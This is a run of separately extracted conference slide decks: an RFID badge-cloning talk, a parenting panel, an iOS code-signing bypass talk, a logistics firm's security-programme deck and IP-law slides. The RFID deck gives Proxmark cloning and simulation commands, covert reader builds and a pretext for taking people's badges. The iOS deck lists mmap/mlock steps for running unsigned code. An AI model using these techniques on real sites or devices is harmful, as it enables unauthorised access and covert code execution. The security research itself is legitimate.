live
in
the
proxmark3
client
client/cmdlf.c
for
LF
commands
New
commands
added
to
CommandTable
client/cmdlfawid.c
created
for
definitions
Prepare
&
send
UsbCommand
to
PM3
lf
awid
fskdemod
Loop
collecting
samples
and
demodulating
as
AWID
Runs
as
CmdAWIDdemodFSK()
on
ARM
(armsrc/lfops.c)
Structure
copied
from
CmdHIDdemodFSK()
CMD_AWID_DEMOD_FSK
defined
for
USB
command
Logic
in
cmdlfawid.c
exposes
new
command
AWID26
BitStream
Added
getAWIDBits()
utility
function
on
client
side
Translate
facility-‐code
and
card
number
into
bits
Card
data
stored
as
array
of
12
uint8_t
Logic
via
AWID
PDF
parityTest()
via
lfdemod.h
Hardcoded
for
26-‐bit
Wiegand
lf
awid
clone
Programs
T55x7
as
specified
AWID26
Uses
getAWIDBits()
to
determine
BitStream
Block
0
is
static
rate/modulation
config
Bitstream
split
into
blocks
1-‐3
Cmd
=
CMD_T55XX_WRITE_BLOCK
Args:
(data,
block
num,
password)
lf
awid
clone
lf
awid
sim
Calculates/displays
‘lf
simfsk’
parameters
for
AWID26
cmd
=
CMD_FSK_SIM_TAG
arg[0]
=
fcHigh<<8
+
fcLow
=
(10<<8)+8
arg[1]
=
CLK
&
Invert
=
50
arg[2]
=
Length
=
96
(bits)
d.asBytes
=
BitStream
(1
bit
per
byte)
Antenna
Construction
The
Problem
Traditional
DIY
involves
a
lot
of
trial
and
error
The
outcome
is
not
always
ideal
for
practical
attacks
My
Solution:
3D
Printing
Create
forms
with
precise
measurements
easily
Make
coils
that
blend
in
Supplies
High
AWG
magnet
wire
(e.g.
40AWG)
Utility
knife
(to
remove
enamel
from
wire
ends)
Soldering
iron
Heat
shrink
tubing
(optional)
Inductance
meter
(optional)
The
Math
of
Tuning
The
antenna
coil
is
an
inductor
(L)
An
LC
circuit
is
formed
by
pairing
it
with
a
capacitor
Goal
is
to
match
the
coil’s
L
with
the
capacitor
@
F
F =
1
2π CL
The
Math
of
Tuning
Microchip
AN170
Coil
induction
equations
Organized
by
coil
shape
For
my
‘multilayer
rectangular
loop
coil’:
L =
0.0276(CN)2
1.908C + 9b+10h (µH)
WHEREè
Making
a
Fake
Badge
Started
with
D18c7db’s
LF
design
Constructed
with
CD
jewel
cases
cut
to
size
Rectangular
“badge-‐like”
70x40mm
coil
is
perfect
Drew
with
CAD
and
exported
for
printing
Add
an
ID
sticker
for
an
extra
convincing
look
Lanyard
clip
allows
route
for
discrete
wiring
Winding
the
Coil
Coil
inductance
is
matched
to
capacitor
for
resonance
First
calculate
L
based
on
F
and
C
Calculate
turns
required
for
L
based
on
shape
For
my
Proxmark3:
~87
turns
For
my
RFIDler:
~57
turns
Calculations
only
give
guideline
due
to
natural
variance
L =
1
4π 2CF 2
Winding
the
Coil
Wind
more
turns
than
you
expect
to
need
Removing
extra
turns
is
easy
Making
up
for
not
enough
turns
–
NOT
SO
EASY
Count
and
watch
for
wire
getting
caught
on
edges
First
Antenna
Attempt
DIY
vs.
Off-‐the-‐Shelf
Badge
Revision
BADge-‐tenna
$7.68
+
$4.99
shipping
for
flexible
white
plastic
Suitable
alternative
for
those
without
a
3d
printer
With
CubePro:
about
$4
filament
Print
costs
below
$1
with
generic
filament
Cable
hidden
in
black
lanyard
Scavenged
RCA
cable
for
length
Clipwned
Storage
clipboards
are
great
cover!
They
blend
well
with
room
for
toys!
Printed
spacers
hold
the
gear
tight.
An
official
sticker
seals
the
deal…
Clipboards
lend
authority,
it’s
up
to
you
to
take
it!
What
is
Clipwned
“Could
I
just
grab
that
badge
one
second
to
make
sure
I’ve
got
your
name
right?”
Clipwned
Supplies
Amazon
is
full
of
“Storage
Clipboards”
Step
1
is
finding
one
with
the
depth
needed
(3/4”
minimum,
1”
is
great)
• Check
dimensions
of
tools
going
into
clipwned
3D
printed
parts
provide
guides
to
keep
components
in
place
• Tape,
wood,
and
other
materials
work
as
well
Making
Clipwned
2.0
• Proxmark
client
compiles
easily
on
many
platforms
• libNFC
supports
major
distros
• The
RFIDler
USB
serial
is
almost
universally
supported
Attach
battery
to
embedded
computer
for
power
Connect
embedded
computer
to
RFID
tool
of
choice
via
USB
Cover
stash
with
legitimate
forms
or
blank
pages
Make
clipwned
look
like
something
a
pro
uses
(notes,
pens,
etc.)
Making
Fake
Readers
Building
Information
Modeling
Models
available
for
common
building
components
This
includes
access
control
readers
Models
are
suited
for
modification
and
printing
Fake
Readers
• Models
via
BIM
make
3D
printed
readers
possible
• Add
an
antenna
inside
for
a
hostile
reader
• Place
it
over
an
existing
reader
and
relay/record
badge
scans
for
a
day
• Install
rogue
readers
in
unexpected
places
and
see
who
scans
• “Badge
for
the
elevator?
Cool
upgrade!!!”
Phone
Case
Snooper
Phone
based
NFC
payment
is
being
hailed
for
security
What
is
possible
by
having
a
coil
hidden
in
a
case?
Snooping
on
transactions
for
research?
Stealthy
relay
attacks?
Android
Beam/NDEF
attacks?
Phone
case
models
readily
available
on
web
Cube
even
includes
an
iPhone
case
as
a
test
file
SD
Storage
• Log
stolen
IDs
Networking
• Remote
control
Automation
• Scriptable
responses
Low-‐profile
• Small
footprint
More
Embedded
Help
Pairing
the
RFIDler
with
a
Raspberry
Pi
enables
stealth
&
advanced
attacks.
Thanks!
Much
more
info
will
is
included
in
the
whitepaper.
Please
direct
questions
to:
Craig
Young
Security
Researcher,
Tripwire
VERT
@CraigTweets
||
[email protected]
Special
thanks
to:
• Marshmellow42,
Iceman,
&
the
rest
of
the
PM3
collaborators
• To
my
family
for
putting
up
with
all
the
crazy
hours
leading
up
to
DC23! | pdf |
Hacking The Future:
Weaponizing the Next
Generation
James Arlen, Leigh Honeywell,
James Costello, Tiffany Rad, Tim
Krabec
DEF CON 18 - Las Vegas
Disclaimer
We've got jobs and stuff. This is not our job.
Mostly, the lovely people we work for don't
talk like this. We do sometimes because it's
the right thing to do. Therefore, what we're
saying is **all** us and not them.
If you need to find someone to blame, it's just
us, except if it's the voices in your own head -
that's **all** you.
Also, there are no spiders or clowns in the
presentation, in case you were worried.
The Panel
Leigh Honeywell
jane of many trades
security consultant
finishing up a degree at the University of Toronto
co-founder and director of HackLab.TO hackerspace
on the board of advisors of the SECtor conference
Google Summer of Code mentor
avid cyclist
book nerd
traveler
Honorary Aunt to many
Tiffany Strauchs Rad, MA, MBA, JD
lawyer
hacker
college professor
presents at Black Hat USA, DEFCON, Hackers on Planet
Earth, Hacking at Random, and Pumpcon
likes cars and hacks them
building school-integrated hackerspaces
Mom
James Arlen, CISA
Best summary ever:
Infosec Geek
Hacker
Social Activist
Author
Speaker
Parent
Dad
James Costello, CISSP
How do you follow the best summary ever:
Geek - Infosec and otherwise
Repurposer/Hacker
Blogger
Pop Culture Referencer
Secretary and VP of Affiliate Relations for CCCKC
Board Member for Cyber-RAID and B-SidesKC
Occassional Speaker
British TV junkie
SciFi Fan and aspiring writer
Parent
Dad
Tim Krabec
Geek. Infosec & General
Active with ISSA & ASIS chapter 254.
Husand
Insane parent:
former foster parent (40 children+)
Father of 4 children with the 5th on the way.
Actual Red team member (finally)
Socratic Blogger & Pod caster
Hacker
The Topics
From the DEF CON 18 CFP Response
- What if you are not the breeder type
- making your home a micro-hackerspace when there isn't a community
- making smart kids through failure / anti- helicopter parenting
- parent's view of how to encourage school system
- adding logical processes, critical thinking
- education / educators
- new methods to attach to different ways of learning
- STEM + women / gender issues
- practical issues around managing gender inequality
- raising smart kids - emerging school of education theory we're doing it wrong
- ways that kids are being let down by the system
- How To discussion - dealing w/ kids and how to deal w/ miniature versions of yourself
- getting pwnd by your kids
- hacker mystique and kids
- variations on learning styles
- war stories
- open to the floor - audience interaction
- positive conflict communication
This is why we're going to be here for two hours.
Summarized for your
protection.
What to Expect When You're
Expecting
Schools and Learning
Gender Issues
Supporting Young Adult Children
Getting Pwned
What to Expect When You're
Expecting
Making^W Having a kid
What's going to change
How to navigate the "advice"
Building a hacker
making smart kids through
failure
logical processes, critical
thinking
mini-Me
getting pwnd by your kid
FAIL
Having a kid
Changes...
Advice
Building a hacker
The Value of Not Succeeding
What is Failure
and how is Not
Succeeding
different?
Resiliency
Adaptability
Logical Processes / Critical Thinking
mini-Me
mini-Her
Getting pwnd
Schools and Learning
how to encourage school system
education / educators
new methods to attach to different ways of learning
variations on learning styles
raising smart kids - emerging school of education theory
we're doing it wrong
ways that kids are being let down by the system
Hackerspaces & the Future of Education
Educators
Scientific
Method
When to
start?
S.C.A.M.P.E.R.
Volunteers in
the classroom
Learning Methods
Smart Kids
Hackerspaces & the
Future of Education
Reverse Space
Herndon, Virginia
Physically and contractually connected
to a private educational facility (6th-12th
grade)
Hackerspaces Collaborating with
Secondardy & Post-secondary
Educational Institutions
Director/Co-Founder
Equipment and Projects
It is 5,500 sq ft of workshop space
Planned hardware acquisitions:
Laser cutter
Two 3D Z Corp printers
Drill presses, saws, soldering
equipment and workstations
1,000 gallon saltwater tank & 1,000 gallon open
touch tank
Bio/Chem laboratory
Green Screen for video production and filmaking
Cyberwar center/sandboxed servers
American Education Statistics
85% attain a high school degree
27% attain a post-secondary (2-4 year
college degree)
Budget of $972 billion (public and private)
Literacy rate is 98% of students > 15 yrs old
Science/Math education rank At THE
BOTTOM as compared to other developed
countries
Bureau, U. C. (2009). The 2009 Statistical Abstract. Retrieved from National Data Book
Program for International Student Assessment (PISA), OECD, reading literacy, science
literacy &
mathematics literacy all rank near the bottom of OECD-countries.
Women in Computer and
Information Science
By 2016, U.S. universities will produce only
53% of the computer science bachelors
degrees needed to fill the 1.5 million
computer specialist jobs projected to be
available.
Down from 37% in 1985, only 18% of
computer and information science degrees
were awarded to women in 2008.
National Center for Women in Information Technology, 2008 report.
Combing the Hackerspace with
the School
From 8am-5pm, the school
students use the facility
From 5pm-11pm week days
and 9am-11pm weekends,
the space is for hackerspace
members
Requesting that the
hackerspace members share
their projects with the
students
Establishing a
mentorship program
where a students pairs
with a professional in the
Combing the
Hackerspace & School
Combining hands-on projects with a traditional
accredited high school curriculum
For example, the aquarium/biology
laboratory area will be used for the high
school laboratory component for the
courses
Accepting volunteers from the D.C. area to
teach short courses/lectures/workshops for the
students
Why Hackerspaces Can Do This
Better than Traditional Schools
Students learn differently than the 1960s
educational model upon which current science &
math curriculums are still based
Students have different learning patterns &
methods now; educational models have not kept
pace
In 2004, 3 in 1000 preschoolers were taking
antidepressant drugs to enhance ability to focus in
school programs,
Perhaps changing education to a more dynamic,
rather than static, model is necessary to attain
attention of the “now” generation.
Wired News 5 February 2004 http://biopsychiatry com/antidepressants/toddlers html
Distance Learning Program
Weekend & Special Lecture Programs
For homeschoolers
Students whose schools don’t have laboratories
or hardware & engineering workshops
Students who live long distances from schools
Mentorship programs
Brings special lecturers to a larger group of
students
For more information
Reverse Space’s Google Groups Page: http:
//groups.google.com/group/ReverseSpace
[email protected]
http://www.elcnetworks.com
Twitter: @tiffanyrad
And if you forget all of that, simply
http://www.tiffanyrad.com
Gender Issues
STEM + women / gender issues
practical issues around managing gender inequality
experiences - the engineering program
STEM - women/gender issues
Practical issues around gender !=
Experiences
Supporting Young Adult Children
continuing cerebral stimulation
the safety of "home"
oops.
The next next generation...
Cerebral Stimulation
Home
oops.
You might be Grandparents.
Getting Pwned
War Stories and Hilarity
War Story - Gnome Repo (wink wink)
How James C was nearly
banned from a big box
store
War Story - Shoulder Surfer
Yes, I know that my
computer is nicer than
yours.
Q&A
download updated slides from
http://defcon.org or http:
//myrcurial.com
Q&A
Contact Us!
email
twitter
website
Leigh
[email protected]
@hypatiadotca
http://hypatia.ca
Tiffany
[email protected]
@tiffanyrad
http://www.tiffanyrad.com
James A
[email protected]
@myrcurial
http://myrcurial.com
James C
[email protected]
@n0b0d4
http://www.genesyswave.com
Tim
[email protected]
@tkrabec
http://www.kracomp.com | pdf |
August 4-7, 2016
1
2
3
4
5
6
7
8
9
10
11
12
Exploit Mitigation
Techniques
on iOS
Max Bazaliy
A Journey Through
August 4-7, 2016
About me
1
2
3
4
5
6
7
8
9
10
11
12
o From Kiev, Ukraine
o Staff Engineer at Lookout
o Focused on XNU, Linux and LLVM internals
o Interested in jailbreak techniques
o Worked on obfuscation and DRM in a past
o Member of Fried Apple team
August 4-7, 2016
Agenda
1
2
3
4
5
6
7
8
9
10
11
12
o iOS security mechanisms
o Function hooking
o iOS 8 & 9 exploit mitigations
o Bypassing code signatures
o Future attacks
August 4-7, 2016
o Memory protections
o Code signing
o Sandbox
o Secure boot process
o Privilege separation
o Kernel Patch Protection
1
2
3
4
5
6
7
8
9
10
11
12
iOS security mechanisms
August 4-7, 2016
o No way to change existing page permission
o Pages can never be both writable and executable
o No dynamic code generation without JIT
o Non executable stack and heap
o ASLR / KASLR
1
2
3
4
5
6
7
8
9
10
11
12
Memory protections
August 4-7, 2016
1
2
3
4
5
6
7
8
9
10
11
12
Allocating new regions
kern_return_t vm_map_enter(…){!
...!
#if CONFIG_EMBEDDED!
if (cur_protection & VM_PROT_WRITE){!
if ((cur_protection & VM_PROT_EXECUTE) && !entry_for_jit){!
printf("EMBEDDED: curprot cannot be write+execute.
turning off execute\n”);!
cur_protection &= ~VM_PROT_EXECUTE;!
}!
}!
#endif /* CONFIG_EMBEDDED */!
...!
}
http://opensource.apple.com//source/xnu/xnu-3248.20.55/osfmk/vm/vm_map.c!
August 4-7, 2016
1
2
3
4
5
6
7
8
9
10
11
12
Changing existing regions
kern_return_t vm_map_protect(…){!
...!
#if CONFIG_EMBEDDED!
if (new_prot & VM_PROT_WRITE) {!
if ((new_prot & VM_PROT_EXECUTE) && !(curr->used_for_jit)) {!
printf("EMBEDDED: %s can't have both write and exec at
the same time\n", __FUNCTION__);!
new_prot &= ~VM_PROT_EXECUTE;!
}!
}!
#endif!
...!
}
http://opensource.apple.com//source/xnu/xnu-3248.20.55/osfmk/vm/vm_map.c!
August 4-7, 2016
o Mandatory Access Control Framework (MACF)
o Code must be signed by trusted party
o Signed page hashes match running code
1
2
3
4
5
6
7
8
9
10
11
12
Code signing
August 4-7, 2016
o LC_CODE_SIGNATURE command points to a csblob
o Key component of blob is the Code Directory
o File page hashes are individually hashed into slots
o Special slots (_CodeResources, Entitlements etc)
o CDHash: Master hash of code slots hashes
1
2
3
4
5
6
7
8
9
10
11
12
Code signature format
August 4-7, 2016
1
2
3
4
5
6
7
8
9
10
11
12
CS on load validation in kernel
mac_execve
exec_activate_image
exec_mach_imgact
load_machfile
parse_machfile
load_code_signature
ubc_cs_blob_add
mac_vnode_check_signature
August 4-7, 2016
1
2
3
4
5
6
7
8
9
10
11
12
CS page validation in kernel
vm_fault_enter
vm_page_validate_cs
vm_page_validate_cs_mapped
cs_validate_page
August 4-7, 2016
Verifying pages
o vm_fault called on a page fault
o A page fault occurs when a page is loaded
o Validated page means that page has hash in CSDir
o Tainted page calculated hash != stored hash
o Process with invalid pages will be killed
1
2
3
4
5
6
7
8
9
10
11
12
August 4-7, 2016
When to verify ?
/*!
* CODE SIGNING:!
* When soft faulting a page, we have to validate the page if:!
* 1. the page is being mapped in user space!
* 2. the page hasn't already been found to be "tainted"!
* 3. the page belongs to a code-signed object!
* 4. the page has not been validated yet or has been mapped for write.!
*/!
!
#define VM_FAULT_NEED_CS_VALIDATION(pmap, page)
\!
((pmap) != kernel_pmap /*1*/ &&
\!
!(page)->cs_tainted /*2*/ &&
\!
(page)->object->code_signed /*3*/ &&
\!
(!(page)->cs_validated || (page)->wpmapped /*4*/))
13
14
15
16
17
18
19
20
21
22
23
24
August 4-7, 2016
Code sign enforcement
o Apple Mobile File Integrity (AMFI)
o Registering hooks in MACF
o mpo_proc_check_get_task
o mpo_vnode_check_signature
o mpo_vnode_check_exec
o …
13
14
15
16
17
18
19
20
21
22
23
24
August 4-7, 2016
Code sign enforcement
process
sysent
AMFI
amfid
libmis.dylib
trust cache
MACF
13
14
15
16
17
18
19
20
21
22
23
24
kernel land
user land
August 4-7, 2016
The story about function hooking
o Add new security features
o Debugging 3rd party code
o Logging and tracing API calls
o Reverse engineering and deobfuscation
o Interposing to the rescue
13
14
15
16
17
18
19
20
21
22
23
24
August 4-7, 2016
Interposing - DYLD_INFO and LINKEDIT
o Rebase Info - contains rebasing opcodes
o Bind Info - for required import symbols
o Lazy Bind Info - symbol binding info for lazy imports
o Weak Bind Info - binding info for weak imports
o Export Info - symbol binding info for exported symbols
Details - http://newosxbook.com/articles/DYLD.html
13
14
15
16
17
18
19
20
21
22
23
24
August 4-7, 2016
Having fun with bind info
case BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:!
segIndex = immediate;!
address = segOffsets[segIndex] + read_uleb128(&p, end);!
break;!
case BIND_OPCODE_ADD_ADDR_ULEB:!
address += read_uleb128(&p, end);!
break;!
case BIND_OPCODE_DO_BIND:!
*((void **)address) = new_impl;!
address += sizeof(void *);!
break;!
case BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:!
*((void **)address) = new_impl;!
address += read_uleb128(&p, end) + sizeof(void *);!
break;!
!
https://opensource.apple.com/source/dyld/dyld-360.18/src/ImageLoaderMachOCompressed.cpp!
13
14
15
16
17
18
19
20
21
22
23
24
August 4-7, 2016
dyld_shared_cache
13
14
15
16
17
18
19
20
21
22
23
24
o All frameworks and libraries
o Loaded into each process space
o Used for performance and security reasons
o ASLR slide randomized at boot time
August 4-7, 2016
Fixed offset in a cache
13
14
15
16
17
18
19
20
21
22
23
24
ssize_t send(int a1, const void *a2, size_t a3, int a4)!
{!
return MEMORY[0x340480C8](a1, a2, a3, a4, 0, 0);!
}
ssize_t send(int a1, const void *a2, size_t a3, int a4)!
{!
return __sendto_shim(a1, (int)a2, a3, a4, 0, 0);!
}
iOS 8
iOS 9
August 4-7, 2016
Fixed offset in a cache
13
14
15
16
17
18
19
20
21
22
23
24
ssize_t send(int a1, const void *a2, size_t a3, int a4)!
{!
return MEMORY[0x340480C8](a1, a2, a3, a4, 0, 0);!
}
ssize_t send(int a1, const void *a2, size_t a3, int a4)!
{!
return __sendto_shim(a1, (int)a2, a3, a4, 0, 0);!
}
iOS 8
iOS 9
August 4-7, 2016
What if trampolines ?
o How to change memory to RW ?
o How to switch back to RX ?
o How to pass a codesign check ?
13
14
15
16
17
18
19
20
21
22
23
24
August 4-7, 2016
Change a memory to RW
o What if mmap new page on a same address ?
void *data =!
mmap(addr & (~PAGE_MASK),!
PAGE_SIZE, !
PROT_READ|PROT_WRITE,!
MAP_ANON|MAP_PRIVATE|MAP_FIXED,!
0, 0);
13
14
15
16
17
18
19
20
21
22
23
24
August 4-7, 2016
Change a memory to RX
13
14
15
16
17
18
19
20
21
22
23
24
o What if mprotect ?
!
mprotect(addr & (~PAGE_MASK),!
PAGE_SIZE,!
PROT_READ|PROT_EXEC);!
August 4-7, 2016
ü Copy original page content
ü mmap new RW page over
ü Copy original content back
ü Write trampoline
ü mprotect to RX
o Do something with codesign(?)
Sounds like a plan
25
26
27
28
29
30
31
32
33
34
35
36
August 4-7, 2016
Codesign bypass
o Page is checked on page fault
o How we can prevent page fault ?
o What if we mlock page ...
! mlock(data & (~PAGE_MASK)), PAGE_SIZE);!
o … and it works!
25
26
27
28
29
30
31
32
33
34
35
36
August 4-7, 2016
Full attack
ü Get function pointer, get page base
ü memcpy page contents to temporary buffer
ü mmap new RW page over
ü memcpy original content back
ü mlock page
ü memcpy trampoline code
ü mprotect page to RX
25
26
27
28
29
30
31
32
33
34
35
36
August 4-7, 2016
We need to go deeper
o
Hook fcntl in dyld to skip codesign validation
fsignatures_t siginfo;!
siginfo.fs_file_start=offsetInFatFile;
siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff);!
siginfo.fs_blob_size=codeSigCmd->datasize;!
int result = fcntl(fd, F_ADDFILESIGS_RETURN, &siginfo);
https://opensource.apple.com/source/dyld/dyld-360.18/src/ImageLoaderMachO.cpp!
25
26
27
28
29
30
31
32
33
34
35
36
August 4-7, 2016
Loading unsiged code
o
mlock all pages with executable permission during mapping
if ( size > 0 ) {!
if ( (fileOffset+size) > fileLen ) {!
...!
}!
void* loadAddress = xmmap((void*)requestedLoadAddress, size,
protection, MAP_FIXED | MAP_PRIVATE, fd, fileOffset);!
...!
}!
}
https://opensource.apple.com/source/dyld/dyld-360.18/src/ImageLoaderMachO.cpp!
25
26
27
28
29
30
31
32
33
34
35
36
August 4-7, 2016
cs_bypass
ü Hook fcntl and return -1
ü Hook xmmap and mlock all regions that have execution
permission
ü dlopen unsigned code J
https://github.com/kpwn/921csbypass
25
26
27
28
29
30
31
32
33
34
35
36
August 4-7, 2016
Future codesign attacks on dyld
25
26
27
28
29
30
31
32
33
34
35
36
o Hide executable segment
o Hook dyld functions
o Hook libmis.dylib functions
August 4-7, 2016
@mbazaliy
25
26
27
28
29
30
31
32
33
34
35
36 | pdf |
主办方
赞助商
“双传统”物流安全成长分享
张天宇
目录
01
观现状
02
看成果
03
搞事情
04
干正事
安全行业现状:
金融、党政公检法
区块链、互联网
文化、食品等
传统物流、制造、医疗
业务型
监管型
低迷型
传统型
监管强
投入高
上汽安吉物流:
汽车及装备
供应链
解决方案
社会化快运
智能与信息
国际物流
供应链金融
¥
整车物流
装备物流
航运物流
口岸物流
零部件物流
非汽车物流
零部件预装
双传统面临的困局:
1、业务没有安全压力
(无驱动,无监管)
2、领导层不关心安全
(无投入、没资源)
3、国企老员工
(不支持、不配合、别麻烦、没好处免谈)
目录
观现状
02
看成果
03
搞事情
04
干正事
01
上汽集团
上汽大众
上汽通用
安吉物流
信息公司
IT部
信息安全
组
信息安全
部
安全部发展历程:
IT部下属安全组
与IT平级的信息安全部门
集团安全部门
2020年
2019年
2018年
安全部-职责:
1、集团安全方针、标准、监督
2、信息安全建设(总部、分子公司)
3、上汽安吉物流SRC(内部、外部)
4、科技公司输出产品、服务
5、外部影响力、安全生态建设
目录
观现状
02
看成果
03
搞事情
04
干正事
01
跟业务搞事情-应急响应:
黑客
正常用户
通过Web Socket代理打通到内网的隐秘隧道
12月25日安装
HIDS入侵检测
1月4号全盘检查
发现后门程序
XXXX内网
官网Web服务器
其他服务器
后门创建日期为2017、2018年,2年时间未能发现!
跟业务搞事情-事件分析:
圆通个人信息泄露事件分析v4.1
跟领导搞事情:
2、将信息安全加入生产安全管理委员会范畴,
定期组织工作汇报,推动安全建设。
1、组织最高领导层学习培训《企业负责人信
息安全手册》
《中华人民共和国网络安全法》
《信息安全等级保护管理办法》
《中华人民共和国数据安全法(草案) 》
《中华人民共和国民法典》
《个人信息保护法(草案)》
《App违法违规收集使用个人信息行为认定方法》
《上汽集团所属企业实施网络安全管理考核评价方案》
……
信息安全法律法规相继出台,建设信息安全体系,不
仅能够提升企业整体信息安全防护强度,还避免了企业
法人承担网络安全相关法律法规处罚的风险。
法律法规:
“没有网络安全,就没有国家安全。”
“网络安全和信息化
是一体之两翼、驱动之双轮,
必须统一谋划、
统一部署、统一推进、统一实施。“
——习近平
违法行为
处罚类型
责令整改
警告
罚款
停业整顿
吊销执照
刑事处罚
未实施等保
违法收集、使用、篡改、出售公民信
息
未妥善保护公民信息
未及时阻止违规信息发布
未消除及保存记录
未制定安全应急预案
违法处罚风险:
1、已举办两届“信息安全冲顶大会”,提高员
工信息安全意识和技能
★ 吸引全国50+家分子公司参与
★ 平台访问+公众号文章阅读1.7万+次
★ 活动文章转发阅读5000+次
2、创办公众号“上汽安吉安全应急响应中心”,
持续输出信息安全文化和技能
★ 已发布60+篇安全技术、意识等文章
★ 覆盖1400+名关注用户
跟同事搞事情-安全冲顶大会:
黑客体验区
泄露数据查询
USB安全充电模块
隐藏摄像头查找
入侵实战模拟
网站钓鱼演示
wifi钓鱼演示
物联网安全演示
………
跟同事搞事情-安全冲顶大会:
跟分子公司搞事情-安全标准:
• 对各单位进行IT资产的评估,制定基础安全技术服务的建设方案。
跟分子公司搞事情-基础安全Saas方案:
SAAS服务平台
应用防火墙
入侵防御系统
终端安全(PC、主机)
基础架构漏洞管理系统
应用安全漏洞管理系统
目录
观现状
02
看成果
03
搞事情
04
干正事
01
1、信息安全管理体系:
2、产品&服务:
PPDR安全服务体系为企业提供数字化全生命周期的安全保障
Policy 策略
安全体系建设
等级保护咨询
Detection 检测
渗透测试服务
SRC平台
Protection 保护
基础安全SaaS服务平台
数据安全
业务安全
Response 响应
应急响应服务
四大服务
四大平台
3.1、基础安全SaaS服务平台--产品架构:
3.2、基础安全SaaS服务平台—安全大屏:
4.1、SDL-安全开发流程:
需求分析
软件开发
发布部署
架构设计
软件测试
项
目
建
立
威胁建模
黑盒测试
部署前
流程化
安全活动
工程阶段
活动依据
预计
人日
评估结果输出
1
方案制定
准备阶段
1、客户明确安全需求
2、根据场景安全评估
无
《安全解决方案》
2
需求分析
需求分析阶
段
1、根据场景需求分析
2、基于安全售前方案特殊安全需求分析
1
《安全需求分析》
3
安全架构评审
设计阶段
安全架构评审规则
1
《安全架构审核报告》
4
应用安全测试
测试阶段
安全类编码指南
5
《应用安全测试报告》
5
主机安全检测
部署阶段
基线标准
1
《主机安全检测报告》
(含基线检测、漏洞检测)
6
安全方案实施
安全架构设计框架
1
安全实施结果
72个已完成项目
4.2、SDL-安全质量管控:
安全评估类型
质量审查依据
质量评判标准
3
安全架构设计
《安全架构设计方案》
安全架构设计方案完善度 = 100%
4
安全架构评审
《安全架构审核报告》
安全架构评审报告 > 60分
5
应用安全测试
《应用安全测试报告》
应用安全测试漏洞高风险及以上修复率 = 100%
6
主机安全检测
《主机安全检测报告》
主机安全测试漏洞高风险及以上修复率 = 100%
主机基线检测漏洞高风险及以上修复率 = 100%
7
安全运维方案实施
安全实施结果
实施安全方案覆盖率 = 100%
质量管控
每个项目安全质量记录,反馈项目经理、开发代表、品管、质量组、项目管理委员会
•
重要国际、国家会议期间,会有大量国内外黑客出于政治、炫耀个人能力等原因的网络攻击
行为,造成企业网站页面被篡改,发布违法、反动等信息,给企业带来非常负面影响。
5
发布应急预案及应急流程
4
根据评估结果安全加固
3
整体安全评估
6
应急演练
7
7*24小时安全监控
1
制定保障目标和方针
2
企业网络信息资产收集
特殊时期7*24小时保障企业网络安全。
5.1、SRC-重大活动安全保障服务:
5.2、SRC-信息安全意识宣贯:
将安全意识宣贯
整合到入职流程
基于角色的针对性
安全意识宣贯
利用多种媒介(邮件、
期刊、视频、海报、
微信公众平台)
将安全培训“嵌入”
软件开发流程中
鼓励员工提交
安全问题
6.1、证书&专利:
通过三级等保的系统7个
三个单位组织通过27001认证
6.2、证书&专利:
序号
专利名称
专利类型
申请号/证书号
1
一种基于B/S架构的漏洞验证方法及系统
发明专利
202010421738.0
2
一种基于flink实现其CEP热加载的方法
发明专利
202010494963.7
3
安吉加加SECSCAN系统
软件著作权
第3123604号
4
安吉加加洞见系统
软件著作权
第4841803号
5
安吉加加安全态势感知平台
软件著作权
第3574441号
7、创新工作室-安全能力建设(猎户座)
★ 无缝集成数据加工平台
★ 灵活的三方数据源接入整合
★ 超强的运算能力,吞吐量达到5400/s
★ 快捷SaaS接口服务,响应速度低于100ms
★ 完整的反欺诈技术体系
★ 规则热加载
“猎户座”—— 基于业务系统风险控制安全平台
可节省约:每系统/100万
8、影响力建设:
2020年 获得上汽网络安全技能竞赛第一名
上海市信息安全协会理事单位
积极促进上海信息安全产业的发展,推进上海信息
安全保障体系的建设。
9、沟通&招聘:
1、安全攻防
2、安全运营
安世加专注于网络安全⾏业,通过互联⽹平台、线下沙⻰、
峰会、⼈才招聘等多种形式,致⼒于创建亚太地区最好的甲
⼄双⽅交流、学习的平台,培养安全⼈才,提升⾏业整体素
质,助推安全⽣态圈的健康发展。
官⽅⽹站:
https://www.anshijia.net.cn
微信公众号:asjeiss | pdf |
IP Law
Copyright
DMCA
Trademark
Patent
Trade Secret
Copyright - Definition
Copyright protects "original works of authorship, fixed
in a tangible medium of expression".
In the following categories: literary, musical, dramatic,
choreographic, pictorial, sculptural, audiovisual,
sound, architectural.
Not in these categories: ideas, procedures, processes,
systems, methods of operation, concepts, principles,
or discoveries.
Copyright - Bundle of Rights
Reproduce
Distribute
Publicly Perform / Display
Create derivative works
Transfer / Sell work or rights
License rights
Owner may sue for the infringement of the
above rights
Copyright - Duration
Author's life plus 70 years.
Or if made by a corporation, 95 years after
publication or 120 years after creation.
Originally in 1790:
14 years + 14 more years if author still alive
Copyright - Why is this a good
idea?
We want to reward authors for being creative.
Not all authors are motivated purely by a desire
to create art.
Copyright - Fair Use
Fair use factors:
1) Purpose and Character of the use
(commercial vs. educational non-profit)
2) Nature of the copyrighted work
3) Amount of work copied in relation to entire
work
4) Effect of use on potential market or value of
copyrighted work
Copyright - Example 1
Alan writes a novel and titles it "Code Monkey".
It becomes a bestseller almost overnight.
Bob decides to copy and sell the content of the
novel under the title "Source Simian".
Can Alan win a copyright suit against Bob?
Copyright - Example 2
Gene is an artist, hired to plan and create a
unique garden for the City. Gene creates
precisely designed beds of flowers and
bushes in ways that have never been seen
before. After six months, the plants have
grown and the City wants to trim them down.
Gene sues, saying he owns the copyright to
his work of art, and the City cannot alter it
without his permission.
What result and why?
DMCA
Digital Millenium Copyright Act
Passed in 1998 in order to "modernize" some
aspects of copyright law.
DMCA - The Good Part
ISPs and Intermediaries are not responsible for
infringement by users of their systems.
To receive protection, Intermediaries block
infringing content when they are notified of it.
DMCA - The Bad Part
Circumvention of technological copy-protection
methods is illegal.
Circumvention for Fair Use purposes may be
legal, but only if you have a right to access
the material to begin with.
A separate crime is created for trafficking in
anti-circumvention software.
(penalty: $500,000 or 5 years in prison)
DMCA - Research Exception
There is an exception under the DMCA for
legitimate research into copyright controls...
... but only for research into the cryptographic
elements of the controls
DMCA Example 1
E-Book company publishes a novel. They
utilize rot13 encryption to "encrypt" the
content. Researcher Rhonda discovers this,
and publishes an analysis of the encryption
method, describing how she broke it and was
able to read the novel.
